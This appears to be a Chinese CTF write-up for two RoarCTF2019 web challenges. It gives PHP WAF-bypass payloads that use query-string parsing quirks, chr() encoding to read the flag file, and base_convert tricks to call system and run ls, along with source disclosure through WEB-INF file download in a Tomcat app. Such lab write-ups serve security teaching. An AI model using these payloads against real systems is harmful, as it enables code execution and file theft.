RoarCTF2019
Easy Calc
cacl.php
1 |
|
存在Waf,尝试用php字符串解析特性绕过
php字符串解析特性
输入 | 输出 |
---|---|
%20news_id | news_id |
news%20id | news_id |
news%00id | news |
news[id | news_id |
news.id | news_id |
news+id | news_id |
news_id%20 | news_id_ |
绕过后发现禁用了一些函数
方法一:
利用一些php的文件操作函数:
- getcwd — 取得当前工作目录
- dirname(string $path) — 返回 path 的父目录
- scandir — 列出指定路径中的文件和目录
payload1:
chr(47)
绕过黑名单中的/
,看一下根目录下有啥?%20num=print_r(scandir(chr(47)))
1 | Array ( [0] => . [1] => .. [2] => .dockerenv [3] => bin [4] => boot [5] => dev [6] => etc [7] => f1agg [8] => home [9] => lib [10] => lib64 [11] => media [12] => mnt [13] => opt [14] => proc [15] => root [16] => run [17] => sbin [18] => srv [19] => start.sh [20] => sys [21] => tmp [22] => usr [23] => var ) 1 |
payload2:? num=var_dump(scandir(dirname(dirname(dirname(getcwd())))));
在根目录发现flag的位置/f1agg
由于
1 | $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; |
过滤了/,‘等字符不能够直接var_dump(file_get_contents(’/f1agg’))所以想到了利用编码来绕过。var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
可以得到flag.
方法二:
这个计算器特写向国赛初赛的一道题,这个可以采用国赛拿到题目的做法来做题。
base_convert
函数可以在任意进制之间转换数字,可以返回任意字母,需要注意它无法返回_ *
等特殊字符
1 | echo base_convert('system',36,10); |
? num=base_convert(1751504350,10,36)(base_convert(784,10,36))
可以成功执行ls
;
Easy_ Java
fuzz了一下应该是没有注入点,点击help
这里get方式提交只返回这种页面,得用POST
方式提交(留个坑以后填)。
测试的时候发现这是tomcat服务器,后台是java编写
所以看一下有没有相关的源码泄漏
1 | /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。 |
确实有/WEB-INF/web.xml ,在里面发现了FlagController
这个类,应该是控制flag的,尝试下载,
1 | <servlet> |
要用tomcat项目存放路径来下载/WEB-INF/classes/com/wm/ctf/FlagController.class
strings _WEB-INF_classes_com_wm_ctf_FlagController.class